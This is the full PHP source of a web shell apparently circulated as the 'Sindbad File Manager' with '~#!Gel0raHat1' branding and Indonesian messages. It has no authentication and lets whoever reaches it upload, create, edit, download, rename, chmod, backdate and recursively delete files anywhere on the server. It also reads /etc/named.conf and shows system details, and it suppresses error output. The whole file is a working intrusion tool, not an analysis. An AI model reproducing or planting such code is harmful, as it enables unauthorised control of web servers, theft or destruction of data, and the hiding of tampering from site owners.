Sindbad~EG File Manager
<?php
clearstatcache();
ob_start();
session_start();
set_time_limit(0);
error_reporting(0);
ini_set("max_execution_time", 0);
ini_set("display_errors", 0);
ini_set('error_log', 0);
function writable($path, $izin) {
return (!is_writable($path)) ? "<font color=\"red\">" . $izin . "</font>" : "<font color=\"lime\">" . $izin . "</font>";
}
function izin($path) {
$izin = fileperms($path);
if (($izin & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($izin & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($izin & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($izin & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($izin & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($izin & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($izin & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($izin & 0x0100) ? 'r' : '-');
$info .= (($izin & 0x0080) ? 'w' : '-');
$info .= (($izin & 0x0040) ?
(($izin & 0x0800) ? 's' : 'x' ) :
(($izin & 0x0800) ? 'S' : '-'));
// Group
$info .= (($izin & 0x0020) ? 'r' : '-');
$info .= (($izin & 0x0010) ? 'w' : '-');
$info .= (($izin & 0x0008) ?
(($izin & 0x0400) ? 's' : 'x' ) :
(($izin & 0x0400) ? 'S' : '-'));
// World
$info .= (($izin & 0x0004) ? 'r' : '-');
$info .= (($izin & 0x0002) ? 'w' : '-');
$info .= (($izin & 0x0001) ?
(($izin & 0x0200) ? 't' : 'x' ) :
(($izin & 0x0200) ? 'T' : '-'));
return $info;
}
$d0mains = file("/etc/named.conf", FILE_IGNORE_NEW_LINES);
if (!$d0mains) {
$dom = "Cant read /etc/named.conf";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (str_contains($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = getcwd();
}
function fsize($file) {
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$pos = 0;
$size = filesize($file);
while ($size >= 1024) {
$size /= 1024;
$pos++;
}
return round($size, 2)." ".$a[$pos];
}
function getOwner($item) {
if (function_exists("posix_getpwuid")) {
$owner = @posix_getpwuid(fileowner($item));
$owner = $owner['name'];
} else {
$owner = fileowner($item);
}
if (function_exists("posix_getgrgid")) {
$grp = @posix_getgrgid(filegroup($item));
$grp = $grp['name'];
} else {
$grp = filegroup($item);
}
return $owner . '/' . $grp;
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
$scandir = scandir($path);
?>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>~#!Gel0raHat1</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM" crossorigin="anonymous">
<link href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" rel="stylesheet" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono" rel="stylesheet">
<style type="text/css">
* {
font-family: Ubuntu Mono;
} a {
text-decoration: none;
color: white;
} a:hover {
color: white;
} ::-webkit-scrollbar {
width: 7px;
height: 7px;
} ::-webkit-scrollbar-thumb {
background: grey;
border-radius: 7px;
} ::-webkit-scrollbar-track {
box-shadow: inset 0 0 7px grey;
border-radius: 7px;
}
</style>
<script type="text/javascript">
function tampilkanNotifikasi(pesan, warna) {
var notifikasi = document.createElement('div');
notifikasi.textContent = pesan;
notifikasi.style.position = 'fixed';
notifikasi.style.bottom = '10px';
notifikasi.style.left = '10px';
notifikasi.style.padding = '10px';
notifikasi.style.borderRadius = '4px';
notifikasi.style.zIndex = '9999';
notifikasi.style.opacity = '0';
notifikasi.style.color = '#fff';
notifikasi.style.backgroundColor = warna;
document.body.appendChild(notifikasi);
var opacity = 0;
var fadeInInterval = setInterval(function() {
opacity += 0.1;
notifikasi.style.opacity = opacity.toString();
if (opacity >= 1) {
clearInterval(fadeInInterval);
setTimeout(function() {
var fadeOutInterval = setInterval(function() {
opacity -= 0.1;
notifikasi.style.opacity = opacity.toString();
if (opacity <= 0) {
clearInterval(fadeOutInterval);
document.body.removeChild(notifikasi);
}
}, 30);
}, 3000);
}
}, 30);
}
</script>
</head>
<body class="bg-dark text-light">
<div class="container-fluid">
<div class="py-3 p-1">
<div class="p-4">
<table class="table table-borderless table-dark text-light">
<tr>
<td style="width: 7%;">Operation</td>
<td style="width: 1%">:</td>
<td><?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?></td>
</tr>
<tr>
<td style="width: 7%;">Software</td>
<td style="width: 1%">:</td>
<td><?= $_SERVER['SERVER_SOFTWARE'] ?></td>
</tr>
<tr>
<td style="width: 7%;">Server IP</td>
<td style="width: 1%">:</td>
<td><?= gethostbyname($_SERVER['HTTP_HOST']) ?> | Your IP: <?= $_SERVER['REMOTE_ADDR'] ?></td>
</tr>
<tr>
<td style="width: 7%;">Domains</td>
<td style="width: 1%">:</td>
<td><?= $dom; ?></td>
</tr>
<tr>
<td style="width: 7%;">Permission</td>
<td style="width: 1%">:</td>
<td>[ <?php echo writable($path, izin($path)) ?> ]</td>
</tr>
</table>
<div class="p-2 mb-2">
<i class="fa fa fa-folder pt-1"></i> 
<?php
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0){
?>
<a href="?path=/" class="text-decoration-none text-light">/</a>
<?php } if ($pat == '') continue; ?>
<a href="?path=<?php for ($i = 0; $i <= $id; $i++) { echo "$paths[$i]"; if ($i != $id) echo "/"; } ?>" class="text-decoration-none text-light"><?= $pat ?></a>
<span class="text-light"> /</span>
<?php } ?>
</div>
<form action="" method="POST" enctype="multipart/form-data">
<div class="p-2">
<label for="upload" class="btn btn-outline-light btn-sm" id="fileLabel">Select your file</label>
<input type="file" class="form-control d-none" name="files[]" id="upload" multiple>
<button class="btn btn-outline-light btn-sm" type="submit">Upload</button>
</div>
</form>
<!-- Fungsi -->
<?php
if (isset($_SESSION['pesannotifikasi'])) {
$pesanNotifikasi = $_SESSION['pesannotifikasi'];
$pesanArray = explode(". -color ", $pesanNotifikasi);
unset($_SESSION['pesannotifikasi']);
echo '<script>tampilkanNotifikasi("' . $pesanArray[0] . '", "' . $pesanArray[1] . '");</script>';
}
if (isset($_GET['action']) && $_GET['action'] == 'download') {
@ob_clean();
$file = $_GET['item'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
if (isset($_FILES['files'])) {
$fileCount = count($_FILES['files']['name']);
$uploadedFiles = 0;
for ($i = 0; $i < $fileCount; $i++) {
$file = $_FILES['files']['name'][$i];
$tempFilePath = $_FILES['files']['tmp_name'][$i];
$targetPath = $path . '/' . $file;
if (move_uploaded_file($tempFilePath, $targetPath)) {
$uploadedFiles++;
}
}
if ($uploadedFiles > 0) {
if ($uploadedFiles === 1) {
$_SESSION['pesannotifikasi'] = "File $file berhasil diunggah, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "$uploadedFiles file berhasil diunggah, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
}
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat mengunggah file, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $path . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (isset($_POST['newFileContent'])) {
$newFileContent = $_POST['newFileContent'];
if (file_put_contents($newFilePath, $newFileContent) !== false) {
$_SESSION['pesannotifikasi'] = "File $newFileName berhasil dibuat, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat membuat file $newFileName, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
} else {
if (touch($newFilePath)) {
$_SESSION['pesannotifikasi'] = "File $newFileName berhasil dibuat, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat membuat file $newFileName, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
} else {
$_SESSION['pesannotifikasi'] = "$newFileName file sudah tersedia, Warning.. -color #E4A11B";
header("Location: ?path=$path");
exit;
}
}
if (isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $path . '/' . $newFolderName;
if (!file_exists($newFolderPath) && mkdir($newFolderPath)) {
$_SESSION['pesannotifikasi'] = "Folder $newFolderName berhasil dibuat, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat membuat folder $newFolderName, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
$_SESSION['pesannotifikasi'] = "Berhasil menyimpan file " . $_GET['item'] . ", Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat menyimpan file " . $_GET['item'] . ", Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
if ($_POST['newName'] == '') {
$_SESSION['pesannotifikasi'] = "Jangan kosongkan input nama, Warning.. -color #E4A11B";
header("Location: ?path=$path");
exit;
}
if (rename($path. '/' . $_GET['item'], $_POST['newName'])) {
$_SESSION['pesannotifikasi'] = "Berhasil mengganti nama " . $_GET['item'] . ", Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat mengganti nama " . $_GET['item'] . ", Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
if ($_POST['newPerm'] == '') {
$_SESSION['pesannotifikasi'] = "Jangan kosongkan input izin, Warning.. -color #E4A11B";
header("Location: ?path=$path");
exit;
}
if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
$_SESSION['pesannotifikasi'] = "Berhasil mengubah perizinan " . $_GET['item'] . ", Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat mengubah perizinan " . $_GET['item'] . ", Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_POST['newDate']) && isset($_GET['item'])) {
$newdate = strtotime($_POST['newDate']);
if ($newdate == '') {
$_SESSION['pesannotifikasi'] = "Jangan kosongkan input date, Warning.. -color #E4A11B";
header("Location: ?path=$path");
exit;
}
if (touch($path . '/' . $_GET['item'], $newdate)) {
$_SESSION['pesannotifikasi'] = "Berhasil mengubah data tanggal pada " . $_GET['item'] . ", Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat mengubah data tanggal " . $_GET['item'] . ", Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
}
if (isset($_GET['action']) && $_GET['action'] === "delete" && isset($_GET['item'])) {
$item = $_GET['item'];
function deleteDirectory($path) {
if (!is_dir($path)) {
return false;
}
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file) {
$filePath = $path . '/' . $file;
if (is_dir($filePath)) {
deleteDirectory($filePath);
} else {
unlink($filePath);
}
}
return rmdir($path);
}
if (is_file($item)) {
if (unlink($item)) {
$_SESSION['pesannotifikasi'] = "Berhasil menghapus file $item, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat menghapus file $item, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
} elseif (is_dir($item)) {
if (deleteDirectory($item)) {
$_SESSION['pesannotifikasi'] = "Berhasil menghapus folder $item, Success.. -color #14A44D";
header("Location: ?path=$path");
exit();
} else {
$_SESSION['pesannotifikasi'] = "Terjadi kesalahan saat menghapus folder $item, Error.. -color #DC4C64";
header("Location: ?path=$path");
exit();
}
} else {
$_SESSION['pesannotifikasi'] = "File atau direktori tidak ditemukan, Warning.. -color #E4A11B";
header("Location: ?path=$path");
exit;
}
}
?>
<div class="mt-2" id="tools">
<center><a href="?" class="m-1 btn btn-outline-light btn-sm">~#!Gel0raHat1</a></center>
<div class="container" id="tools">
<div class="row justify-content-center">
<?php
if (isset($_GET['action']) && isset($_GET['item'])) {
$action = $_GET['action'];
$item = $_GET['item'];
if ($action === 'edit') {
?>
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label"><?= $item ?></label>
<textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($path . '/' . $item)) ?></textarea>
</div>
<button type="submit" class="btn btn-outline-light btn-sm">Simpan</button>
<button type="button" class="btn btn-outline-light btn-sm" onclick="salin()">Salin</button>
<input type="submit" class="btn btn-outline-light btn-sm" value="Kembali" formaction="?path=<?= $path ?>">
</form>
</div>
<?php
} elseif ($action === 'rename') {
?>
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label">Nama Baru</label>
<input type="text" class="form-control" name="newName" value="<?= $item ?>">
</div>
<button type="submit" class="btn btn-outline-light btn-sm">Simpan</button>
<input type="submit" class="btn btn-outline-light btn-sm" value="Kembali" formaction="?path=<?= $path ?>">
</form>
</div>
<?php
} elseif ($action === 'chmod') {
?>
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label"><?= $item ?></label>
<input type="text" class="form-control" name="newPerm" value="<?= substr(sprintf('%o', fileperms($item)), -4); ?>">
</div>
<button type="submit" class="btn btn-outline-light">Simpan</button>
<input type="submit" class="btn btn-outline-light btn-sm" value="Kembali" formaction="?path=<?= $path ?>">
</form>
</div>
<?php
} elseif ($action === 'date') {
?>
<div class="col-md-4">
<form action="" method="post">
<div class="mb-3">
<label for="name" class="form-label"><?= $item ?></label>
<input type="text" class="form-control" name="newDate" value="<?= date("Y-m-d h:i:s", filemtime($item)) ?>">
</div>
<button type="submit" class="btn btn-outline-light btn-sm">Simpan</button>
<input type="submit" class="btn btn-outline-light btn-sm" value="Kembali" formaction="?path=<?= $path ?>">
</form>
</div>
<?php
}
}
?>
</div>
<div class="collapse" id="newFileCollapse" data-bs-parent="#tools">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">File Name</label>
<input type="text" class="form-control" name="newFileName" placeholder="test.php">
</div>
<div class="mb-3">
<label class="form-label">File Content</label>
<textarea class="form-control" rows="7" name="newFileContent" placeholder="Hello World! ( optional. )"></textarea>
</div>
<button type="submit" class="btn btn-outline-light btn-sm">Create</button>
</form>
</div>
</div>
</div>
<!-- new folder -->
<div class="collapse" id="newFolderCollapse" data-bs-parent="#tools">
<div class="row justify-content-center">
<div class="col-md-5">
<form action="" method="post">
<div class="mb-3">
<label class="form-label">Folder Name</label>
<input type="text" class="form-control" name="newFolderName" placeholder="home">
</div>
<button type="submit" class="btn btn-outline-light btn-sm">Create</button>
</form>
</div>
</div>
</div>
</div>
<center>
<hr width='20%'>
</center>
</div>
<div class="table-responsive">
<table class="table table-hover table-dark align-middle text-light">
<thead class="align-middle">
<tr>
<td style="width:35%">Name</td>
<td style="width:10%">Type</td>
<td style="width:10%">Size</td>
<td style="width:13%">Owner/Group</td>
<td style="width:10%">Permission</td>
<td style="width:13%">Last Modified</td>
<td style="width:9%">Actions</td>
</tr>
</thead>
<tbody class="table-group-divider text-nowrap">
<?php
foreach ($scandir as $dir) {
if (is_dir($dir)) {
?>
<tr>
<td>
<?php
if ($dir === '..') {
echo '<a href="?path=' . dirname($path) . '" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> ' . $dir . '</a>';
} elseif ($dir === '.') {
echo '<a href="?path=' . $path . '" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> ' . $dir . '</a>';
} else {
echo '<a href="?path=' . $path . '/' . $dir .'" class="text-decoration-none text-light"><i class="fa fa-folder"></i> ' . $dir . '</a>';
}
?>
</td>
<td class="text-light"><?= filetype($dir) ?></td>
<td class="text-light">-</td>
<td class="text-light"><?= getOwner($dir) ?></td>
<td class="text-light">
<?php
echo '<a href="?path=' . $path . '&item=' . $dir . '&action=chmod">';
if(is_writable($path . '/' . $dir)) echo '<font color="lime">';
elseif(!is_readable($path . '/' . $dir)) echo '<font color="red">';
echo izin($path . '/' . $dir);
if(is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir))
echo '</a>';
?>
</td>
<td class="text-light">
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=date"><?= date("Y-m-d h:i:s", filemtime($dir)); ?>
</td>
<td>
<?php
if ($dir != '.' && $dir != '..') {
?>
<div class="btn-group">
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=delete" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-trash"></i></a>
</div>
<?php
} elseif ($dir === '.') {
?>
<div class="btn-group">
<a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="New Folder"><i class="fa fa-folder-plus"></i></a>
<a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="New File"><i class="fa fa-file-plus"></i></a>
</div>
<?php
}
?>
</td>
</tr>
<?php
}
}
foreach ($scandir as $dir) {
if (is_file($dir)) {
?>
<tr>
<td>
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=edit" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
</td>
<td class="text-light"><?= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?></td>
<td class="text-light"><?= fsize($dir) ?></td>
<td class="text-light"><?= getOwner($dir) ?></td>
<td class="text-light">
<?php
echo '<a href="?path=' . $path . '&item=' . $dir . '&action=chmod">';
if(is_writable($path . '/' . $dir)) echo '<font color="lime">';
elseif(!is_readable($path . '/' . $dir)) echo '<font color="red">';
echo izin($path . '/' . $dir);
if(is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir))
echo '</a>';
?>
</td>
<td class="text-light">
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=date"><?= date("Y-m-d h:i:s", filemtime($dir)); ?>
</td>
<td>
<?php
if ($dir != '.' && $dir != '..') {
?>
<div class="btn-group">
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Edit"><i class="fa fa-file-edit"></i></a>
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=download" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Download"><i class="fa fa-file-download"></i></a>
<a href="?path=<?= $path ?>&item=<?= $dir ?>&action=delete" class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip" data-placement="auto" title="Delete"><i class="fa fa-trash"></i></a>
</div>
<?php
}
?>
</td>
</tr>
<?php
}
}
?>
</tbody>
</table>
</div>
<center>
<hr width='20%'>
<div class="text-light my-1">
~#!Gel0raHat1 - <?= $_SERVER['HTTP_HOST']; ?>
</div>
</center>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js" integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz" crossorigin="anonymous"></script>
<script type="text/javascript">
document.getElementById('upload').addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if (this.files && this.files.length > 0) {
if (this.files.length === 1) {
label.textContent = this.files[0].name;
} else {
label.textContent = this.files.length + ' file selected';
}
} else {
label.textContent = 'Select file';
}
});
function salin() {
var textarea = document.getElementById('CopyFromTextArea');
textarea.select();
document.execCommand('copy');
textarea.setSelectionRange(0, 0);
tampilkanNotifikasi('Berhasil menyalin text!', '#14A44D');
}
</script>
</body>
</html>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists